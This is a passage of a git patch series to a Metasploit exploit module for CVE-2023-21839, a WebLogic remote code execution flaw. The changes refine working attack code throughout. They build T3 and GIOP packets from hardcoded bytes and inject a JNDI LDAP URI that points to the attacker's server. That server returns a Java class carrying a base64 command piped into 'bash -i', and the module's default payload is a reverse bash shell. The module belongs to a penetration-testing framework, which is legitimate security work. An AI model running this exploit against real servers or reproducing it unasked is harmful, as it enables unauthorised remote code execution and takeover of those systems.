%w[unix linux], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' @@ -115,7 +114,14 @@ class MetasploitModule < Msf::Exploit::Remote def get_weblogic_version socket = connect - socket.put("GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + http_request = Rex::Proto::Http::ClientRequest.new( + { + 'uri' => '/console/login/LoginForm.jsp', + 'vhost' => datastore['RHOST'], + 'port' => datastore['RPORT'] + } + ).to_s + socket.put(http_request.to_s) res = socket.get fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res @@ -204,7 +210,8 @@ class MetasploitModule < Msf::Exploit::Remote service_context_list << '{SERVICE_CONTEXT_LIST}' @java_class_name = 'PayloadRuns' - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey. + ldap_uri = jndi_string(@java_class_name) + stub_data += [ldap_uri.length].pack('C') + ldap_uri data << service_context_list data << stub_data @@ -345,6 +352,9 @@ class MetasploitModule < Msf::Exploit::Remote # Kill HTTP service (shut it down and clear resources) # def cleanup + # Stop the LDAP server + cleanup_service + # Clean and stop HTTP server if @http_service begin @@ -416,7 +426,7 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 2 complete!') - reply_status = locate_buf[16..19].unpack('L>')&.dig(0) + reply_status = locate_buf[16..19].unpack('N')&.dig(0) if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end @@ -550,7 +560,7 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 3 complete!') - reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) + reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -602,7 +612,7 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 4 complete!') - reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) + reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end @@ -615,7 +625,7 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 5 complete!') - reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) + reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end @@ -646,7 +656,7 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 6 complete!') - reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -680,14 +690,9 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 7 complete!') - reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0) + reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end - - print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') - sleep(8) - cleanup_service - cleanup end end From 7ca7c6aee11a999519a3aca6c0a76c6d72e482b3 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 17:36:39 -0500 Subject: [PATCH 09/10] Slight efficiency improvements --- data/exploits/CVE-2023-21839/PayloadRuns.class | Bin 660 -> 660 bytes data/exploits/CVE-2023-21839/PayloadRuns.java | 4 +++- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 9 ++++----- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class index a00e746fdda254678f5c7f7a204606c5687b2130..d6ee272398d63b15a5e1046748564976f2d70956 100644 GIT binary patch delta 35 pcmbQjI)!xu2NNUnWKO0)K{f_XAmm|SXW(VvU=U>Bnw-s~2>@Vg1a$xa delta 35 qcmbQjI)!xu2NNUXWKO0)K^6v126hG>237`M1~vvk29C+uOqu{+vjk}X diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java index 981d14e047..03e1bb6d95 100644 --- a/data/exploits/CVE-2023-21839/PayloadRuns.java +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -1,3 +1,5 @@ +import java.util.Base64; + public class PayloadRuns { static { try { @@ -6,4 +8,4 @@ public class PayloadRuns { ex.printStackTrace(); } } -} +} \ No newline at end of file diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index b6b718c3be..5b93099b92 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -375,12 +375,11 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") - file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb') - class_raw = file.read - file.close + class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) base64_payload = Rex::Text.encode_base64(payload.encoded) - command_length = (44 - 'PAYLOAD'.length) + base64_payload.length - class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>')) + exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length + command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) class_raw = class_raw.gsub('PAYLOAD', base64_payload) send_response(cli, 200, 'OK', class_raw) end From 694c1006e41d90812f11c387fadc3707c8356521 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 9 Jun 2023 12:24:35 -0500 Subject: [PATCH 10/10] Add more IPv6 support in to the module --- Gemfile.lock | 2 +- lib/msf/core/exploit/remote/jndi_injection.rb | 2 +- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 21 ++++++++----------- 3 files changed, 11 insertions(+), 14 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e7dfd60835..6acb2795da 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -384,7 +384,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.51) + rex-socket (0.1.52) rex-core rex-sslscan (0.1.9) rex-core diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 468b9c5276..843cac6829 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -29,7 +29,7 @@ module Exploit::Remote::JndiInjection # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 5b93099b92..a3307eca39 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -299,7 +299,7 @@ class MetasploitModule < Msf::Exploit::Remote # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/" + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # @@ -334,14 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i - if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) - if Rex::Socket.is_ipv6?(netloc) - netloc = "[#{netloc}]:#{http_srvport}" - else - netloc = "#{netloc}:#{http_srvport}" - end - end - print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") + print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @@ -404,6 +397,10 @@ class MetasploitModule < Msf::Exploit::Remote # Main Exploit def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + if @version.blank? @version = get_weblogic_version end @@ -411,7 +408,7 @@ class MetasploitModule < Msf::Exploit::Remote # Step 1 - Make T3 connection to start IIOP connection process, and read response. socket = connect print_status('1. Making T3 connection...') - socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") _buf = socket.get disconnect print_good('Made T3 connection!') @@ -490,7 +487,7 @@ class MetasploitModule < Msf::Exploit::Remote key1 = locate_buf[foff...foff + 8] key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] - if @version.between?(Rex::Version.new('12.0.0.0.0'), Rex::Version.new('12.9999999.999999.999999.99999')) + if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ @@ -499,7 +496,7 @@ class MetasploitModule < Msf::Exploit::Remote "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" - elsif @version.between?(Rex::Version.new('14.0.0.0.0'), Rex::Version.new('14.9999999.999999.999999.99999')) + elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \